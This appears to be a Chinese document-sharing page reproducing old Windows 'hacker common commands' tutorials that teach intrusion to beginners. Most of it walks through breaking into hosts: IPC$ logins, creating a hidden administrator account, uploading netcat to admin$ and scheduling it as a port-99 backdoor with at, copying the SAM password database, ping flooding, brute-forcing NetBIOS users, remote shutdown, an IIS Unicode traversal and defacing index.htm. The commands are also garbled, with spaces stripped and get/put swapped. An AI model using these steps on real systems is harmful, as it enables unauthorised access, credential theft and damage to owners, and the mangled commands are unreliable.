常用网络命令.docx
《常用网络命令.docx》由会员分享,可在线阅读,更多相关《常用网络命令.docx(19页珍藏版)》请在冰豆网上搜索。
常用网络命令
NET[ACCOUNTS|COMPUTER|CONFIG|CONTINUE|FILE|GROUP|HELP|
HELPMSG|LOCALGROUP|NAME|PAUSE|PRINT|SEND|SESSION|
SHARE|START|STATISTICS|STOP|TIME|USE|USER|VIEW]
上面就是net命令.你可以在cmd下键入net/?
获得.我们看看一些常用的.
netuser\\列举所有用户\\例子:
c:
\>netuser
netlocalgroup\\把用户分组\\例子:
c:
\>netlocalgroupadministratorsguest/add\\把guest用户加到管理组.需要有足够的权限才能进行操作!
\\
netshare\\显示共享资源\\例子:
c:
\>netshare
netstart\\启动服务,或显示已启动服务的列表\\例子:
\>netstart例子:
\>netstarttelnet\\启动telnet\\
netstop\\停止Windows2000网络服务\\例子c:
\>netstoptelnet\\停止telnet服务\\
nettime\\显示时间\\例子:
c:
\>nettime127.0.0.1\\显示127.0.0.1的时间\\
netuse\\显示关于计算机连接的信息\\例子:
c:
\>netuse
netview\\显示域列表、计算机列表或者由指定计算机共享的资源\\例子:
c:
\>netview
net的基本命令就到此结束吧!
但并不是说其它的命令不用去学!
只是我的基本教学(入侵)课程需要用的命令是这些而已~自己去windows帮助那里看看吧!
DOS下的基本命令是很重要的!
如:
copy等.还有ftp等等重要的命令因为种种原因请各位自行去看.(基本课程不能太复杂的,OK?
!
!
!
)好了~下课~
菜鸟必须掌握的几个dos命令(强烈推荐!
)
一,ping
它是用来检查网络是否通畅或者网络连接速度的命令。
作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:
网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。
下面就来看看它的一些常用的操作。
先看看帮助吧,在DOS窗口中键入:
ping/?
回车,出现如图1所示的帮助画面。
在此,我们只掌握一些基本的很有用的参数就可以了。
-t表示将不间断向目标IP发送数据包,直到我们强迫其停止。
试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。
-l定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。
结合上面介绍的-t参数一起使用,会有更好的效果哦。
-n定义向目标IP发送数据包的次数,默认为3次。
如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。
说明一下,如果-t参数和-n参数一起使用,ping命令就以放在后面的参数为标准,比如“pingIP-t-n3”,虽然使用了-t参数,但并不是一直ping下去,而是只ping3次。
另外,ping命令不一定非得pingIP,也可以直接ping主机域名,这样就可以得到主机的IP。
下面我们举个例子来说明一下具体用法,如图2。
这里time<10ms表示从发出数据包到接受到返回数据包所用的时间小于10ms,从这里可以判断网络连接速度的大小。
从TTL的返回值可以初步判断被ping主机的操作系统,之所以说“初步判断”是因为这个值是可以修改的。
这里TTL=128表示操作系统可能是Win2000。
(小知识:
如果TTL=32,则表示目标主机可能是win98;如果TTL=250,则目标主机可能是Unix)
至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。
二,nbtstat
该命令使用TCP/IP上的NetBIOS显示协议统计当前TCP/IP连接,使用这个命令你可以得到远程主机的NETBIOS信息,比如用户名、所属的工作组、网卡的MAC地址等。
在此我们就有必要了解几个基本的参数。
-A这个参数可以得到远程主机的NETBIOS信息,但需要你知道它的IP。
-a使用这个参数,只要你知道了远程主机的机器名称,就可以得到它的NETBIOS信息。
-n列出本地机器的NETBIOS信息。
当得到了对方的IP或者机器名的时候,就可以使用nbtstat命令来进一步得到对方的信息了,这又增加了我们入侵的保险系数。
三,netstat
这是一个用来查看网络状态的命令,操作简便功能强大。
-a查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息。
-r列出当前的路由信息,告诉我们本地机器的网关、子网掩码等信息。
用法:
netstat-rIP。
四,tracert
跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。
这里说明数据从本地机器传输到192.168.0.1的机器上,中间没有经过任何中转,说明这两台机器是在同一段局域网内。
用法:
tracertIP。
五,net
这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软为我们提供的最好的入侵工具。
首先让我们来看一看它都有那些子命令,键入net/?
回车。
在这里,我们重点掌握几个入侵常用的子命令。
netview
使用此命令查看远程主机的所有共享资源。
命令格式为netview\\IP。
netuse
把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。
命令格式为netusex:
\\IP\sharename。
下面表示和192.168.0.7建立IPC$连接(netuse\\IP\IPC$"password"/user:
"name")。
建立了IPC$连接后,呵呵,就可以上传文件了:
copync.exe\\192.168.0.7\admin$,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。
netstart
使用它来启动远程主机上的服务。
当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?
就使用这个命令来启动吧。
用法:
netstartservername,如用netstarttelnet命令启动telnet服务。
netstop
入侵后发现远程主机的某个服务碍手碍脚,怎么办?
利用这个命令停掉就ok了,用法和netstart同。
netuser
查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。
这对我们入侵是很有利的,最重要的,它为我们克隆帐户提供了前提。
键入不带参数的netuser,可以查看所有用户,包括已经禁用的。
下面分别讲解。
1,netuserabcd1234/add,新建一个用户名为abcd,密码为1234的帐户,默认为user组成员。
2,netuserabcd/del,将用户名为abcd的用户删除。
3,netuserabcd/active:
no,将用户名为abcd的用户禁用。
4,netuserabcd/active:
yes,激活用户名为abcd的用户。
5,netuserabcd,查看用户名为abcd的用户的情况。
netlocalgroup
查看所有和用户组有关的信息和进行相关操作。
键入不带参数的netlocalgroup即列出当前所有的用户组。
在入侵过程中,我们一般利用它来把某个帐户提升为administrator组帐户,这样我们利用这个帐户就可以控制整个远程主机了。
用法:
netlocalgroupgroupnameusername/add。
现在我们把刚才新建的用户abcd加到administrator组里去了,这时候abcd用户已经是超级管理员了,呵呵,你可以再使用netuserabcd来查看他的状态,就可以看出来。
但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。
现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。
nettime
这个命令可以查看远程主机当前的时间。
如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。
但简单的入侵成功了,难道只是看看吗?
我们需要进一步渗透。
这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步入侵打好基础。
用法:
nettime\\IP。
六,at
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道nettime的重要了吧?
)。
当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。
用法:
attimecommand\\computer。
七,ftp
大家对这个命令应该比较熟悉了吧?
网络上开放ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。
现在如果你扫到了一台开放ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?
下面就给出基本的ftp命令使用方法。
首先在命令行键入ftp回车,出现ftp的提示符,这时候可以键入“help”来查看帮助(任何DOS命令都可以使用此方法查看其帮助)。
大家可能看到了,这么多命令该怎么用?
其实也用不到那么多,掌握几个基本的就够了。
首先是登陆过程,这就要用到open了,直接在ftp的提示符下输入“open主机IPftp端口”回车即可,一般端口默认都是21,可以不写。
接着就是输入合法的用户名和密码进行登陆了。
当提示****loggedin时,就说明登陆成功。
接下来就要介绍具体命令的使用方法了。
dir跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。
cd进入某个文件夹。
get下载文件到本地机器。
put上传文件到远程服务器。
这就要看远程ftp服务器是否给了你可写的权限了,如果可以,呵呵,该怎么利用就不多说了,大家就自由发挥去吧。
delete删除远程ftp服务器上的文件。
这也必须保证你有可写的权限。
bye退出当前连接。
quit同上。
八,telnet
功能强大的远程登陆命令,几乎所有的入侵者都喜欢用它,屡试不爽。
为什么?
它操作简单,如同使用自己的机器一样,只要你熟悉DOS命令,在成功以administrator身份连接了远程机器后,就可以用它来干你想干的一切了。
下面介绍一下使用方法,首先键入telnet回车,再键入help查看其帮助信息。
然后在提示符下键入openIP回车,这时就出现了登陆窗口,让你输入合法的用户名和密码,这里输入任何密码都是不显示的。
当输入用户名和密码都正确后就成功建立了telnet连接,这时候你就在远程主机上具有了和此用户一样的权限,利用DOS命令就可以实现你想干的事情了。
到这里为止,网络DOS命令的介绍就告一段落了,这里介绍的目的只是给菜鸟一个印象,让其知道熟悉和掌握网络DOS命令的重要性。
其实和网络有关的DOS命令还远不止这些,这里只是抛砖引玉,希望能对广大菜鸟有所帮助。
学好DOS对当好黑客有很大的帮助,特别是熟练掌握了一些网络的DOS命令。
另外大家应该清楚,任何人要想进入系统,必须得有一个合法的用户名和密码,哪怕你拿到帐户的只有一个很小的权限,你也可以利用它来达到最后的目的。
所以坚决消灭空口令,给自己的帐户加上一个强壮的密码,是最好的防御弱口令入侵的方法。
[原创]黑客常用命令
1:
NET
只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!
这里我们假如你得到的用户是hbx,密码是123456。
假设对方IP为127.0.0.1
netuse\\127.0.0.1\ipc$"123456"/user:
"hbx"
退出的命令是
netuse\\127.0.0.1\ipc$/delte
下面的操作你必须登陆后才可以用.登陆的方法就在上面.
----------------------
下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户.
我们加一个heibai的用户密码为lovechina
netuserheibailovechina/add
只要显示命令成功,那么我们可以把他加入Administrator组了.
netlocalgroupAdministratorsheibai/add
----------------------
这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.
netusez:
\\127.0.0.1\c$
----------------------
netstarttelnet
这样可以打开对方的TELNET服务.
----------------------
这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?
不知道是否这样,我的2000就是删除不了它。
netuserguest/active:
yes
----------------------
这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。
只要有权限就行了呀!
netuserguestlovechina
net命令果然强大啊!
2:
at
一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?
那么需要用AT命令,这里假设你已经登陆了那个服务器。
你首先要得到对方的时间,
nettime\\127.0.0.1
将会返回一个时间,这里假设时间为12:
1,现在需要新建一个作业,其ID=1
at\\127.0.0.112:
3nc.exe严志梁
这里假设了一个木马,名为NC.EXE,这个东西要在对方服务器上.
这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.
等到了12:
3就可以连接到对方的99端口.这样就给对方种下了木马.
3:
telnet
这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.
telnet127.0.0.199
这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.
4:
FTP
它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个WWW.51.NET,不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.
在上传前需要登陆先,这里我们假设FTP服务器是WWW.51.NET,用户名是HUCJS,密码是654321
他会要求输入用户,成功后会要求输入密码.
----------------------
下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:
\下,传到对方D:
\
getc:
\index.htmd:
\
假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下
putc:
\index.htmd:
\
5:
copy
下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好IPC$连接才有效。
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
copyindex.htm\\127.0.0.1\c$\index.htm
----------------------
如果你要复制到D盘下把C改为D,就行了!
copyindex.htm\\127.0.0.1\d$\index.htm
----------------------
如果你要把他复制到WINNT目录里
就要把输入
copyindex.htm\\127.0.0.1\admin$\index.htm
admin$是winnt
----------------------
要把对方的文件复制过来,顺便告诉大家NT的备份的数据库放在x:
\winnt\repair\sam._sam._是数据库的文件名
下面就把127.0.0.1的数据库复制到本地C盘下
copy\\127.0.0.1\admin$\repair\sam._c:
\
----------------------
6:
set
如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。
这时需要用SET命令!
下面是我得到的结果!
我来分析它,只是找主页在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:
\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP,这里本来是显示我的IP,被我删除了
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP_USER_AGENT=Mozilla/4.0(compatible;MSIE5.0;Windows98;DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:
\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:
\WINNT\system32;D:
\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:
\vlroot主页放在的地址,只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。
这里是E:
\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86Family6Model3Stepping3,GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:
\WINNT
TZ=GMT-9
USERPROFILE=D:
\WINNT\Profiles\DefaultUser
windir=D:
\WINNT
粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你DIR这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名,这样只要看到和XX.XX.XX.XX看到的也面一模一样,那么这就是主页的名称了。
7:
nbtstat
如果你扫到一部NT的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。
顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。
例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧!
现在网上很多NT的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。
命令是
nbtstat-AXX.XX.XX.XX
-A一定要大写哦。
下面是得到的结果。
NetBIOSRemoteMachineNameTable
NameTypeStatus
---------------------------------------------
RegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredReg
isteredRegisteredRegisteredRegistered
MACAddress=00-E0-29-14-35-BA
PENTIUMII<00>UNIQUE
PENTIUMII<20>UNIQUE
ORAHOTOWN<00>GROUP
ORAHOTOWN<1C>GROUP
ORAHOTOWN<1B>UNIQUE
PENTIUMII<03>UNIQUE
INet~Services<1C>GROUP
IS~PENTIUMII...<00>UNIQUE
ORAHOTOWN<1E>GROUP
ORAHOTOWN<1D>UNIQUE
..__MSBROWSE__.<01>GROUP
粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。
这里的用户是PENTIUMII。
8:
Shutdown
关了对方的NT服务器的命令
Shutdown\\IP地址t:
20
20秒后将NT自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。
9:
DIR
这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。
你可以本地试下。
10:
echo
著名的漏洞Unicode,这个命令可以简单的黑一下有这个漏洞的主机。
我们假设我们要把“南京大屠杀铁证如山,任何日本人不得抵赖!
”写入index.htm,有2种方法,大家看看有什么区别。
echo南京大屠杀铁证如山,任何日本人不得抵赖!
>index.htm